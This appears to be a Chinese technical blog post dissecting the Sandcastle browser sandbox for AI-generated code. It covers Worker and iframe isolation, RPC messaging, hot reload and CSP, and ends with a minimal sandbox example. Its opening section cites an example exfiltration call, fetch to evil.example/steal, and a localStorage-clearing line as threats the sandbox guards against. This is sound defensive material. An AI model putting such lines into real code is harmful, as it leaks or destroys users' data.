先说结论:Sandcastle 是我近一年见过把"浏览器内执行不可信代码"这件事讲得最清楚的沙箱编排框架之一。它出自 Matt Pocock——Total TypeScript 的作者,一位在 TypeScript 类型编程上玩出彩的前辈——项目定位非常直白:让 AI 生成的代码能在浏览器里安全地跑起来,而不是每次都在"看起来没问题 → 复制到本地 → 一跑就炸"的循环里浪费时间。
这篇文章不是官网文档的翻译。我会把它当成一套完整的沙箱编排方案去拆解:代码到底被放进了哪种执行环境,安全边界是怎么划出来的,沙箱内外的消息怎么走,热更新和报错回传怎么设计,以及我实际折腾过程中踩到的坑。适合正在做 AI 编程助手、组件预览、代码生成类工具,或者单纯想给应用加一个"不可信代码安全执行区"的前端工程师读。
1. 为什么 AI 生成代码需要"沙箱编排"而不是一个 eval()
1.1 需求变了:代码的生产方式从"人写"变成"机器生成"
以前我们面对"别人的代码"时,默认它至少经过人工 review、测试、至少是人写的——恶意概率低,执行风险可控。AI 生成代码的工作流完全反过来:模型每秒钟可能给出十几版代码,没人逐行 review,唯一能确认它"安全"的手段就是实际运行。这时候你要是图省事直接eval()或new Function(),等于把整个应用暴露给一个完全不可信的输入源。
我见过不少团队的第一次尝试都是:让 AI 生成代码 → 在页面上 eval → 出问题了再想办法。如果你只是为了在内部工具里跑一个"不过期"的 demo,这么干倒也能忍。可一旦代码里出现window.localStorage.clear()、fetch('https://evil.example/steal'),甚至只是无意识的死循环,用户侧的表现就是崩溃、卡死、数据被清空。指望模型保证"不写恶意代码"是不现实的——它连"不写 bug"都保证不了。
1.2 浏览器自带的两道隔离原语,单独用都不够
浏览器其实给了我们两个还算凑合的隔离原语:iframe的sandbox属性和Web Worker。
iframe 加sandbox="allow-scripts"后,页面会在一个"不透明源"里运行,脚本动不了父页面的 DOM、cookie 和 localStorage,看起来够安全。但问题也很明显:iframe 里终究有完整的 DOM 环境,你不想让它访问父页面的一切,一旦手滑加上allow-same-origin,或者图方便开了allow-top-navigation,安全边界立刻破防。
Web Worker 则是另一个极端:工作在独立线程的全局作用域里,没有document,没有window.localStorage,天然拿不到 DOM。这种"缺东西"的隔离很适合跑纯逻辑代码,但也正因为没有 DOM,你没法让它在页面上渲染出任何可视化结果。而 AI 生成的东西大部分都是组件和 UI,最终必须画到真实的 DOM 树里。
单独用哪个都不完整:一个能画图但不安全,一个安全但画不了图。这正是"编排"二字的由来——把它们组合起来,让 Worker 负责执行可疑代码、iframe 负责呈现结果、宿主页面负责两者的调度。你可以把这三层想象成一个隔离病房里的三间房:病人(代码)关在无菌室里,护士(iframe)隔着玻璃做观察,指挥中心(宿主)控制整个流程——病人永远摸不到指挥中心的文件柜。
1.3 Sandcastle 的取舍:强调编排,而不是再造隔离技术
Sandcastle 的仓库公开在 GitHub 的 sandcastle-js 组织下,代码和 README 都值得读。它的思路不是发明新的隔离技术——底层仍然是浏览器已经提供的 iframe 和 Worker——而是把"谁执行、谁渲染、谁通信、谁管理生命周期"这套编排逻辑做完整。
在我看来,最难能可贵的是它直接面向 AI 编程场景设计:TypeScript 代码开箱即用,支持热更新,报错信息尽可能还原到用户的源码行号,而且沙箱内外提供了双向远程调用能力。这些都不在"能隔离"的范畴里,而在"隔离完了还能好好干活"的范畴里,这才是绝大多数团队真正缺的部分。
2. 架构解剖:Worker、iframe 与宿主页面三层各管什么
2.1 为什么分层能同时拿到"安全"和"能渲染"
三层分离的核心逻辑,是把"代码执行"和"结果呈现"拆成两个不同的风险面。代码执行面放 Worker:Worker 没有 DOM,恶意代码第一件事就是document.querySelector('form'),直接撞墙;结果呈现面放 iframe:Worker 算完的结果通过消息传出来,由宿主页面转发给 iframe 里的运行时,运行时只负责把已经算好的标记和组件状态画出来。两层之间理论上不共享任何状态,这就是最小的纵深防御。
我自己的体会是:如果只有一层隔离,你就得在"安全"和"功能完整"之间反复谈判;而一旦拆成两层,每一层只需要回答一个简单问题——"我负责执行逻辑,还是负责上屏?"职责单一,审查起来也轻松得多。
2.2 Worker 层:一个"没有窗户的房间"
Sandcastle 的 Worker 层要干的脏活比一般人想象中多。首先它得接住你通过setCode()塞进来的源码,然后在 Worker 内部完成 TypeScript/JSX 的转译——把转译这种 CPU 密集的事放到主线程之外,主界面才不会因为一次转译卡到掉帧。
其次它会做模块分析:找出入口组件,扫描 import 列表,把import { useState } from 'react'这类裸导入解析成可执行的模块 URL。最后才是真正的执行:把模块交给动态import()或者经由 Blob URL 构造的模块,让代码在 Worker 全局作用域里跑起来。
一个容易忽略的细节:Worker 里没有 DOM,所以 React 组件没法直接渲染。因此在典型实现里,Worker 跑的是组件的"逻辑骨架"——hooks、事件、状态计算都在这层执行,真正的 DOM 渲染交给 iframe。有些版本甚至会直接把序列化后的虚拟 DOM 树传出去,而不是传真实 DOM 节点。这种设计牺牲了一点性能,换来了非常干净的边界:任何试图操作window、document的代码在第一步就失败了。
2.3 iframe 层:一个"能看到结果但碰不到你的玻璃罩"
iframe 是 Sandcastle 的"上屏出口"。它用srcdoc挂载一个由运行时自己生成的 HTML 文档,sandbox属性里只放allow-scripts——注意,绝对不能加allow-same-origin。这样 iframe 的来源是一个不透明源(opaque origin),即便脚本里写了parent.postMessage或者试图访问window.top,它能做的也只有给父页面发一条消息,拿不到父页面的任何内存数据。
Worker 算出的组件树或者更新描述到达 iframe 后,iframe 里的运行时负责创建真实 DOM、挂载组件、应用热更新。因为 iframe 从出生起就不被信任,运行时在内部也会做一次校验:所有进来的消息都必须符合协议,否则直接忽略。这层"不信任一切输入"的姿态非常重要——因为 iframe 里的来源同样可能是被注入的恶意代码伪造的。
2.4 宿主页面:背着协议的编排者,而不是甩手掌柜
宿主页面是三层里唯一被信任的层,所以所有敏感操作都得收敛在这层:读取主应用数据、调用业务接口、授权弹窗,都只能在宿主侧发生。沙箱想用这些能力,只能通过明确的远程调用接口向宿主请求,宿主有权拒绝。
Sandcastle 的典型实践是让宿主侧维护一张允许暴露给沙箱的"能力清单",比如showToast、queryData、openDialog。沙箱代码想要调用,需要按协议发消息,宿主校验通过后才会执行。这种"能力默认关闭,按需开放"的设计,才是沙箱安全的灵魂。很多自研沙箱失败,不是因为隔离技术不好,而是因为图省事把宿主页面的业务方法直接postMessage进了沙箱——等于自己把钥匙塞进了病人的无菌室。
3. 一次完整的 setCode:从源码进来到组件上屏的链路
3.1 模块分析:先搞清楚入口是谁
以公开版本文档里的核心 API 为例,用法大致是这样(不同版本字段名可能有出入,以仓库 README 为准):
import { Sandcastle } from 'sandcastle'; const sandcastle = new Sandcastle({ head: '<style>body { font-family: system-ui }</style>', baseUrl: 'https://cdn.example.com/sandcastle-runtime', }); sandcastle.setCode(` import { useState } from 'react'; export default function Counter() { const [count, setCount] = useState(0); return <button onClick={() => setCount(count + 1)}>{count}</button>; } `); sandcastle.mount(document.getElementById('preview'));setCode()之后的第一个动作是分析代码,而不是执行。运行时需要回答三个问题:入口组件在哪个模块、有哪些外部依赖、这段代码是 JS 还是 TS/TSX。入口通常靠"默认导出"来识别——大多数 AI 模型生成组件时都会带上export default,运行时把它当作渲染入口。对于没有默认导出的脚本型代码,则退化为普通模块执行。
这一步看似简单,但工程意义很大:先分析再执行,意味着沙箱可以在"动手之前"判断代码的结构是否符合预期,不符合就直接拒绝,不给恶意代码任何运行机会。
3.2 转译:为什么 TS/JSX 只能使用"可擦除语法"
入口找到之后,代码会被送到 Worker 里做转译。TS 编译器把 TSX/TS 剥成纯 JS 是常规操作,但 Sandcastle 有更严格的限制:只支持"可擦除语法"(erasable syntax)。意思是,所有在编译期可以干干净净擦掉、不产生额外运行时代码的语法都支持,比如类型注解、interface、泛型、as断言;而enum、namespace、构造函数参数属性这类需要编译器生成运行时辅助代码的语法,一律不支持。
为什么这么较真?因为沙箱环境里没有打包器替你处理编译产物的兼容问题。enum编译出来通常是一段带着var Direction; (function (Direction) {...})(Direction || (Direction = {}))的立即执行代码,它依赖模块作用域的确定性;在沙箱这种"动态注入模块"的地方,越少运行时幻想越好。这是 Matt Pocock 作为 TypeScript 布道者典型的坚持——宁可初期严一点,也不让用户在调试时面对"到底是沙箱的问题还是我这行代码的问题"的困惑。
3.3 模块解析:裸导入是怎么变成可执行地址的
AI 生成的代码里,import { useState } from 'react'这种裸导入是常态。浏览器原生模块系统不认裸导入,所以运行时必须把它解析成具体的 URL。Sandcastle 的做法偏向两层:一是在转译阶段直接做模块名重写,把react映射到约定的 CDN 地址;二是配合 import map,在 iframe 文档层声明"所有出现react的地方都指向这个 URL"。
前者解决 Worker 侧没有 import map 的问题,后者解决 iframe 侧在浏览器原生支持下的映射问题——两条腿走路,兼容面才会更宽。这里有个残酷的事实:所谓"不可信代码安全执行",防的是 AI 生成的这段代码本身,并不防 CDN 上的 React 被投毒。所以运行时层一般会对所有外部模块做完整性校验,或者至少固定版本号并限制域名白名单。这是很多人忽略的一环,却是生产化之前必须补上的。
3.4 渲染与热更新:状态保留的边界
模块准备好之后,运行时把入口组件传到 iframe 并挂载。初次渲染本身就是一次完整循环的把戏:转译 → 解析 → 注入 → 挂载。真正考验功底的是热更新(HMR):你在 AI 对话框里改了一行样式,总不能让整个 iframe 重开——那等于把组件状态、用户滚动位置、输入框里的内容全丢了。
Sandcastle 的做法是"模块级热替换":当新代码到来时,运行时比较模块发生变化的部分,只替换发生变化的模块,再触发一次组件重挂载。但这里有一条必须明确的边界:如果改动的是组件内部逻辑(比如重新定义了useState的初始值),旧状态会保留,因为热更不会销毁组件实例;而如果你删掉了整个组件或是改了入口结构,运行时必须走全量刷新。这条边界设计得是否清晰,直接决定你在迭代 AI 生成代码时是"丝滑"还是"血压拉满"。
3.5 错误回传:让 AI 能拿到可用的报错
执行过程中一旦抛错,运行时要做三件事:捕获错误对象、把沙箱内的栈信息映射回用户源码的行号、把结果回传给宿主。栈信息映射是很繁琐的活——沙箱里的代码都带着 Blob URL 或者 srcdoc 的标记,直接甩给用户看只会得到一堆blob:https://...的地址。Sandcastle 的做法是在转译阶段记录源码到产物代码的行号映射,出错时反查回来。
这一步的意义不止是让人看得懂,更重要的是让 AI 看得懂:报错文本可以直接作为下一轮生成的上下文喂回模型,形成"报错 → 修复 → 再渲染"的闭环。这才是 AI 编程工具真正需要的体验——不是优雅的报错页,而是一条能喂回给模型的错误反馈回路。
4. 沙箱内外的通信:一张按类型分隔的 RPC 表
4.1 裸 postMessage 的三个痛点
Sandcastle 里所有跨边界通信都走 postMessage,但从工程角度,直接裸用 postMessage 是完全不可维护的。
第一个痛点是协议识别:消息来了,你总得知道它是"执行结果""错误""渲染请求"还是"远程调用",每个都要写一遍类型判断。第二个痛点是序列化:跨线程传对象要符合结构化克隆算法,函数、DOM 引用、循环引用全都会被悄悄丢掉,传错了连个报错都没有。第三个痛点是方向性:postMessage 只解决"我发给你",没解决"你调我"——而沙箱里组件的事件回调天然需要反向调用宿主的能力。
4.2 双向 remote:能力的显式声明
所以 Sandcastle 在 postMessage 之上封装了一层类似 RPC 的机制,两边各挂一张"可被对方调用的函数表"。以我记忆中的公开版本为例,宿主侧大概是这样注册能力的:
sandcastle.expose({ showToast(text) { // 宿主侧实现 }, queryProduct(id) { return api.fetchProduct(id); }, });沙箱内部则可以通过一个镜像对象去调用,这个镜像在代码里通常被命名为remote之类的变量(具体命名看运行时版本):
// 沙箱内的代码 onClick={async () => { await remote.showToast('已加入购物车'); }}每次调用在实际运行时都是一个带消息 ID 的 postMessage 往返:发起方生成 ID,监听方执行并返回,发起方按 ID 找到回调并 resolve。参数和返回值都必须可结构化克隆。这套设计的核心不是性能,而是"边界感"——沙箱内的代码永远不知道宿主到底是怎么实现showToast的,它拿到的只是函数名和参数协议,就像在黑暗里摸到一扇门,敲一敲有人回应,但门后面有什么它完全看不到。
4.3 协议形态与消息校验
我在自己的小实现里会把消息统一成这种形态:
{ "id": "7f3c...", "type": "invoke | result | error | event", "channel": "showToast", "payload": { "text": "hello" } }type 决定消息归属通道,channel 决定调用哪个函数,payload 是经过结构化克隆的参数。宿主侧收到来自沙箱的消息时,默认态度是"不可信":channel 必须在白名单里,payload 必须通过闸门函数校验,比如showToast的text必须是字符串且不能超过 200 字符。沙箱侧同理,也要严格校验宿主传来的模块代码是否符合预期形状。这套校验写起来枯燥,但缺了它,RPC 就只是把漏洞换了个说法。
4.4 竞态:热更新期间的消息作废
跨线程通信还有一个隐蔽问题:时序。假设沙箱正在执行一个remote.queryProduct('123'),还没等宿主返回,用户已经把代码更新了,运行时立刻重建了沙箱上下文。这时候旧请求的返回消息到达宿主侧,如果协议里没有作废机制,这个"过期结果"会被当成正常结果处理,可能污染新组件状态。
简单的解法是给每个沙箱实例分配一个递增的纪元号(epoch),每次沙箱重建时纪元 +1,所有消息都带上当前纪元;宿主侧只处理当前纪元的消息,其余直接丢弃。这种细节看起来不起眼,但在真实场景里,丢掉一条过期消息和误处理一条过期消息,用户的感受天差地别。
5. 实测与读源码时绕不开的几个坑
5.1 CSP:少了 worker-src blob: 就直接白屏
把 Sandcastle 接入自己的应用,第一个拦路虎往往是内容安全策略。它从 Blob URL 创建 Worker,如果你的站点 CSP 里没有worker-src blob:,Worker 会直接创建失败,表现就是"代码没有任何输出,控制台也没报错"(有些浏览器会静默失败)。iframe 侧的 srcdoc 页面也需要自己的 CSP,通常用<meta http-equiv="Content-Security-Policy">写入,脚本来源只放'unsafe-inline',其他资源一律'none'。
我在调试时吃过一次亏:主站 CSP 写对了,iframe meta CSP 里的default-src 'none'却把 Worker 内部的普通 fetch 也拦了,肉眼可见的"白屏 → 报错 → 修 → 再白屏"循环。建议接入第一天就把 CSP 文档读透,别等项目跑起来再回头补。
5.2 import map 的兼容性:不如在转译期直接重写
我之前图省事,在 iframe 里用<script type="importmap">定义映射,觉得这样最干净。但 import map 在旧一点的 Safari 和 Firefox 版本上支持得不算早,而且 Worker 里根本不认 import map。实测下来最稳妥的做法还是转译阶段就把裸导入重写成绝对 URL,iframe 里的 import map 只作为兜底。
一句话:别把浏览器新特性的兼容性问题带到沙箱项目里。你的用户可能连主应用都在用老浏览器,更别说一个运行在 srcdoc 里的沙箱页面了。
5.3 热更不是万能:副作用边界你得自己定义
Sandcastle 的 HMR 能保留组件实例和状态,但它不知道你的组件内部有什么副作用。如果你的组件在useEffect里启动了定时器、建立了 WebSocket、或者持有 Canvas 上下文,热更时这些副作用并不会自动被清理,旧的定时器可能还在跑,新组件再启动一份,等于双份副作用叠加。
我实际遇到过一个诡异 bug:热更三次后,页面同时开着三个轮询连接,接口被自家产品的用户刷爆了。后来我的解法是在组件树顶层包一个"清理约定":热更前运行时统一触发一个清理钩子,组件可以在里面声明要销毁的资源。这不在 Sandcastle 的开箱即用范围内,但把它纳入你自己的产品规范里,能少掉一半玄学 bug。
5.4 转译器的体积与速度:TS 编译器并不便宜
把 TypeScript 编译器塞进 Worker 里跑,功能上没问题,但体积和启动时间是实打实的成本——TS 编译器生产包压缩后也有数 MB,第一次转译要等一个明显的启动延迟。想让"改一行代码秒回显"的体验成立,更现实的选择是换用只做类型擦除的工具,比如基于 SWC 或 Oxc 的 WASM 版本,或者 Sucrase——它们不检查类型,只做语法转换,体积和速度都友好得多。
Sandcastle 这类框架的长处恰恰在于转译器可插拔:你可以用轻量转译器替换完整编译器,代价只是失去类型检查。但在"AI 生成组件的即时预览"场景里,类型检查本来就不是必须的——等代码真正合入项目时,再由 CI 上的完整编译器把关,分工明确。
5.5 安全边界不是银弹:你防的是脚本,不是恶意资源
最后泼一盆冷水。iframe + Worker 的组合能挡住"DOM 访问、Cookie 窃取、主页面状态篡改",但挡不住几类现实中的攻击:恶意代码可以发起大量网络请求探测内网;可以写一个while(true)阻塞 Worker 线程让整个页面卡死;可以分配海量内存搞内存炸弹。浏览器沙箱不是操作系统沙箱,Sandcastle 自己也从来不会把它包装成"绝对安全"。
产品化之前,你需要额外加资源配额、限流策略和必要的运行时监控。这不算框架的缺陷,而是任何纯前端沙箱方案的天花板——理解这个天花板,才能在设计产品时把它的使用场景限定在"低危不可信代码"(比如 AI 生成的演示组件),而不是"代码托管和任意执行"。
5.6 和其他同类方案的横向对比
| 方案 | 执行位置 | 隔离手段 | DOM 可访问性 | 服务端依赖 | 定位 |
|---|---|---|---|---|---|
| eval / new Function | 当前页面 | 无 | 完整(危险) | 无 | 不推荐用于不可信代码 |
| 裸 iframe + sandbox | iframe | 页面级 | 仅沙箱内 | 无 | 自研起点 |
| Sandcastle | Worker + iframe | 线程 + 页面双层 | 仅沙箱内 | 无 | AI 代码预览/插件执行 |
| Sandpack | iframe + 内置打包器 | 页面级 | 仅沙箱内 | 可离线 | 文档示例/教程 |
| WebContainers | WASM + 虚拟文件系统 | 进程级虚拟化 | 需配合 iframe | 无 | 完整 Node 环境 |
选型建议很简单:如果只是跑一个演示组件,Sandcastle 这种轻量编排最合适;如果目标是让用户在文档站里"试玩"整个项目,需要完整打包链路的 Sandpack 会更省事;如果非得在浏览器里跑 Node 服务,那只能上 WebContainers 级别的重型方案。三者不是竞争关系,复杂度阶梯完全不同。
6. 从零搭一个最小可用的沙箱编排框架(附代码)
6.1 目标与安全设定
理论讲再多,不如实现一个能跑的最小版本。我们的目标:让用户粘贴一段前端代码,在一个不可信的 iframe 里执行,并且把执行结果(包括报错)回传给宿主。安全设定三条:iframe 只用sandbox="allow-scripts"、宿主对沙箱消息一律校验、沙箱页面里不加载任何外部资源。
按这个目标,其实不需要 Worker——纯示例从 iframe 单层开始就够了,Worker 层的价值在"别阻塞主线程的大计算"和"双层纵深",我们这里聚焦通信链路。
6.2 宿主页面:创建 iframe 并发送代码
const frame = document.createElement('iframe'); frame.sandbox = 'allow-scripts'; const html = buildSandboxHTML(); frame.srcdoc = html; frame.style.width = '600px'; frame.style.height = '400px'; document.body.appendChild(frame); // 等 iframe 里的运行时 ready 再发代码 frame.addEventListener('load', () => { frame.contentWindow.postMessage( { id: 'msg_1', type: 'execute', channel: 'module', payload: { code: `export default 'hello sandbox'` }, }, '*' ); });两个注意点:目标窗口是不透明源,postMessage的targetOrigin必须写成'*',这是沙箱安全约束下的必然结果;消息里一定带id,用于匹配回执,不然你根本不知道哪条消息对应哪条结果。
6.3 srcdoc iframe 里的最小运行时
buildSandboxHTML()返回的文档里,核心是一个监听 message 的脚本。为了避免脚本里出现</script>导致 HTML 解析提前结束,生成时记得写成<\/script>:
function buildSandboxHTML() { return `<!doctype html> <html> <head> <meta http-equiv="Content-Security-Policy" content="default-src 'none'; script-src 'unsafe-inline'"> </head> <body> <div id="root"></div> <script> window.addEventListener('message', async (e) => { const msg = e.data || {}; if (msg.type !== 'execute' || !msg.payload || typeof msg.payload.code !== 'string') { return; } try { const module = { exports: {} }; const factory = new Function('module', 'exports', msg.payload.code); factory(module, module.exports); document.getElementById('root').textContent = module.exports; parent.postMessage({ id: msg.id, ok: true, value: String(module.exports) }, '*'); } catch (err) { parent.postMessage({ id: msg.id, ok: false, error: String(err) }, '*'); } }); <\/script> </body> </html>`; }这套代码没有任何 RPC、模块映射、HMR,但它已经具备了沙箱编排的核心骨架:一个不透明源的执行环境、一条带 ID 的消息链路、一套"所有输入先校验"的默认姿态。真实框架与它的区别,只是在同一个骨架上长出了更多器官。
6.4 跑通之后还能加什么
如果你打算从这个小骨架往 Sandcastle 的方向长,建议按这个顺序加:先加 Worker 层做转译(把 TS/JSX 剥成 JS),再加模块重写(把裸导入映射成 CDN URL),然后加 RPC 能力表(让沙箱能调宿主的业务方法),最后加行号映射和热更新。每加一层,都要重新审视一个问题:这条新链路是否让沙箱拿到了比之前更多的权限?如果答案是肯定的,就必须在宿主侧补上对应的闸门。
最后聊两句我自己的体会。跑通最小实现那天,我最大的感受不是"我会写沙箱了",而是"我终于敢把'用户粘贴任何代码'这个功能开放出去了"。在此之前,这个功能在我心里一直是负债:不做吧,需求摆在那;做吧,eval 一下全完蛋。Sandcastle 真正给我的启发不是某个具体技术点,而是"先划边界,再在边界里自由"的工程顺序。如果你也在做 AI 代码预览、插件系统或者自定义脚本市场,强烈建议先动手搭一个最小骨架,把消息链路和安全校验跑通,再谈其他花活——边界一旦先立住,后面的功能都只是往围墙里添家具。